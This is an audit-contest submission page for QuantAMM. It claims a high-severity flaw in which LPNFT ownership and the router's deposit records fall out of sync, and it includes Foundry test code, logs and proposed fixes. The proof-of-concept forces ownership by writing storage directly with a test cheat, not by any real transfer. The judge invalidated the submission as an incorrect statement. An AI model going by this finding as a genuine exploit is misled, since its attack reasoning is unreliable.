QuantAMM
QuantAMM
49,600 OP
View results
Previous Next
Submission Details
Severity: high
Invalid

Desynchronization in `LPNFT` Contract

rolando

Summary

The LPNFT contract exhibits a desynchronization vulnerability where the router's internal records fail to update during certain NFT ownership transfers. This flaw allows unauthorized users (previous owners) to withdraw liquidity even after transferring their NFT on-chain. The vulnerability arises due to missing synchronization logic (e.g., router.afterUpdate) in the transfer process, leaving the router unaware of ownership changes.

Vulnerability Details

The core issue lies in the absence of enforced synchronization between the NFT ownership (ownerOf) and the router's internal records (poolsFeeData). Specifically, when the transferFrom or equivalent transfer methods are used, the router is not notified of the ownership change unless explicitly programmed.

Root Cause:

  • The LPNFT contract relies on router.afterUpdate to synchronize NFT ownership changes with the router’s accounting.

  • However, the default transferFrom implementation in OpenZeppelin’s ERC721 does not include this synchronization.

  • Without explicitly overriding transferFrom to call router.afterUpdate, the router retains outdated ownership records.

  • LPNFT.sol - _update

Vulnerable Scenario:

  1. Bob owns an NFT and transfers it to Alice on-chain (ownerOf reflects Alice as the new owner).

  2. The router remains unaware of the transfer and continues to associate the NFT with Bob.

  3. Bob exploits this desynchronization by withdrawing liquidity tied to the NFT, resulting in unauthorized fund access

Impact

  • Unauthorized Liquidity Withdrawals: The router believes the old owner still has the deposit, enabling a successful call to removeLiquidityProportional.

  • Desynchronization: On-chain ownership shows a new owner, but the router keeps referencing the old owner’s deposit data.

  • Potential Fund Loss: Once the old owner withdraws, the new on-chain owner effectively loses the liquidity they should control.

Proof of Concept

Test

  • Add the following test to pkg/pool-hooks/test/foundry/UpliftExample.t.sol:

function testBypassUpdateViaStorageWrite() public {
console2.log(
'=== Step 1) Bob adds liquidity to receive an NFT (tokenId = 1). ==='
);
uint256 bobDai = dai.balanceOf(bob);
uint256 bobUsdc = usdc.balanceOf(bob);
​
// Bob deposita, recibiendo tokenId = 1
uint256[] memory maxAmountsIn = [bobDai, bobUsdc].toMemoryArray();
vm.startPrank(bob);
upliftOnlyRouter.addLiquidityProportional(
pool,
maxAmountsIn,
bptAmount,
false,
bytes('')
);
vm.stopPrank();
​
LPNFT nft = upliftOnlyRouter.lpNFT();
assertEq(nft.ownerOf(1), bob, 'Bob should own tokenId 1 after deposit');
​
console2.log(
'=== Step 2) Force NFT transfer in storage (omitting _update). ==='
);
​
// El mapping _owners está en el slot 2, de acuerdo a 'forge inspect'.
uint256 slotOfOwners = 2;
uint256 tokenId = 1;
​
// Calculamos la key para (tokenId, slotOfOwners)
// keccak256(abi.encode(tokenId, slotOfOwners))
bytes32 ownersKey = keccak256(abi.encode(tokenId, slotOfOwners));
​
vm.store(
address(nft), // Contrato en el que forzamos la escritura
ownersKey, // Ubicación de memoria calculada
bytes32(uint256(uint160(address(alice)))) // Asignamos como dueño a 'alice'
);
​
// Ahora, en el mapping interno _owners[1] = alice, sin llamar _update ni router.afterUpdate
address realOwnerOnChain = nft.ownerOf(1);
console2.log("On-chain 'ownerOf(1)':", realOwnerOnChain);
assertEq(
realOwnerOnChain,
alice,
'Now NFT(1) belongs to Alice at storage level'
);
​
console2.log("=== Step 3) Check router's perspective => still Bob. ===");
uint256 bobDeposits = upliftOnlyRouter.getUserPoolFeeData(pool, bob).length;
uint256 aliceDeposits = upliftOnlyRouter
.getUserPoolFeeData(pool, alice)
.length;
console2.log("Router sees Bob's deposit count:", bobDeposits);
console2.log("Router sees Alice's deposit count:", aliceDeposits);
​
// Esperamos que el router no se haya enterado (desincronización)
assertEq(
bobDeposits,
1,
'Router still thinks Bob is deposit owner (desync).'
);
assertEq(aliceDeposits, 0, 'Router sees no deposit for Alice.');
​
console2.log(
'=== Step 4) Bob withdraws => router still sees him as owner => funds stolen. ==='
);
​
// Bob retira con éxito, aunque ya no es el dueño on-chain
uint256[] memory minAmountsOut = [uint256(0), uint256(0)].toMemoryArray();
vm.startPrank(bob);
upliftOnlyRouter.removeLiquidityProportional(
bptAmount,
minAmountsOut,
false,
pool
);
vm.stopPrank();
​
console2.log(
"=== If there's no revert, Bob has effectively stolen the funds. ==="
);
}

Test Result

Logs:
=== Step 1) Bob adds liquidity to receive an NFT (tokenId = 1). ===
=== Step 2) Force NFT transfer in storage (omitting _update). ===
On-chain 'ownerOf(1)': 0x328809Bc894f92807417D2dAD6b7C998c1aFdac6
=== Step 3) Check router's perspective => still Bob. ===
Router sees Bob's deposit count: 1
Router sees Alice's deposit count: 0
=== Step 4) Bob withdraws => router still sees him as owner => funds stolen. ===
=== If there's no revert, Bob has effectively stolen the funds. ===

Result:
In the test logs, Bob initially deposits liquidity to obtain tokenId = 1. However, we then force a direct change in the NFT’s on-chain ownership to Alice by manipulating storage (bypassing _update). While Alice is the on-chain owner, the router still believes Bob holds the deposit (as shown by “Router sees Bob’s deposit count: 1”). Bob proceeds to withdraw successfully, meaning he effectively steals the funds, since the router has not been notified of the new on-chain owner (Alice).

Tools Used

  • Foundry: Used to simulate the desynchronization scenario using vm.store(...) to manipulate storage.

  • Manual Code Review: Identified the missing synchronization logic in the transfer process.

Recommendations

  1. Override transferFrom and enforce synchronization:
    Override transferFrom to include a call to router.afterUpdate(...) after the standard transfer logic:

    function transferFrom(
    address from,
    address to,
    uint256 tokenId
    ) public override {
    super.transferFrom(from, to, tokenId);
    if (from != address(0) && to != address(0)) {
    router.afterUpdate(from, to, tokenId);
    }
    }

  2. Check On-Chain Ownership in Withdrawals

    • Verify ownerOf(tokenId) matches the caller in removeLiquidityProportional.

  3. Use Hooks

    • Override _beforeTokenTransfer or _afterTokenTransfer to guarantee synchronization for every transfer route.

  4. Reduce Redundant Bookkeeping

    • Reference ownerOf(tokenId) directly inside the router instead of relying on parallel deposit structures, minimizing desynchronization risks.

Validation Through Testing

  • After adding the recommended mitigation function transferFrom to the LPNFT contract, include the following test in pkg/pool-hooks/test/foundry/UpliftExample.t.sol:

function testMitigatedTransferFrom() public {
console2.log(
'=== Step 1) Bob deposits liquidity via the router, which mints the NFT. ==='
);
​
// Example: Bob has some DAI & USDC balances
uint256 bobDai = dai.balanceOf(bob);
uint256 bobUsdc = usdc.balanceOf(bob);
​
// Bob calls the router to deposit => triggers router's logic, eventually calling nft.mint(bob).
uint256[] memory maxAmountsIn = [bobDai, bobUsdc].toMemoryArray();
vm.startPrank(bob);
upliftOnlyRouter.addLiquidityProportional(
pool,
maxAmountsIn,
bptAmount,
false,
bytes('')
);
vm.stopPrank();
​
// Obtain reference to the LPNFT instance
LPNFT nft = upliftOnlyRouter.lpNFT();
​
// For simplicity, assume the minted tokenId = 1 (or fetch it if needed)
// We'll check that Bob owns tokenId #1
assertEq(nft.ownerOf(1), bob, 'Bob should be on-chain owner after deposit');
​
console2.log(
'=== Step 2) Bob transfers the NFT to Alice using our mitigated `transferFrom`. ==='
);
vm.startPrank(bob);
nft.transferFrom(bob, alice, 1); // Calls super.transferFrom + router.afterUpdate
vm.stopPrank();
​
console2.log('=== Step 3) Verify that on-chain ownership is Alice. ===');
assertEq(nft.ownerOf(1), alice, 'Alice should now be the on-chain owner');
​
console2.log(
"=== Step 4) Verify router's deposit records => should show Alice. ==="
);
uint256 bobDeposits = upliftOnlyRouter.getUserPoolFeeData(pool, bob).length;
uint256 aliceDeposits = upliftOnlyRouter
.getUserPoolFeeData(pool, alice)
.length;
console2.log("Router sees Bob's deposit count:", bobDeposits);
console2.log("Router sees Alice's deposit count:", aliceDeposits);
​
// If everything is synced, Bob should have 0, Alice should have 1
assertEq(bobDeposits, 0, 'Router should no longer see Bob as owner');
assertEq(aliceDeposits, 1, 'Router should see Alice as the new owner');
}

Test Result

Logs:
=== Step 1) Bob deposits liquidity via the router, which mints the NFT. ===
=== Step 2) Bob transfers the NFT to Alice using our mitigated `transferFrom`. ===
=== Step 3) Verify that on-chain ownership is Alice. ===
=== Step 4) Verify router's deposit records => should show Alice. ===
Router sees Bob's deposit count: 0
Router sees Alice's deposit count: 1

Result:
The logs confirm that, after Bob deposits and receives the NFT (step 1), he transfers the token to Alice using the mitigated logic (step 2). We then verify on-chain that Alice is now the owner (step 3) and that the router updates its records accordingly (step 4). The final outcome—Bob has a deposit count of 0 while Alice has 1—demonstrates there is no desynchronization and that the mitigation works as intended.

Updates

Lead Judging Commences

n0kto Lead Judge 10 months ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!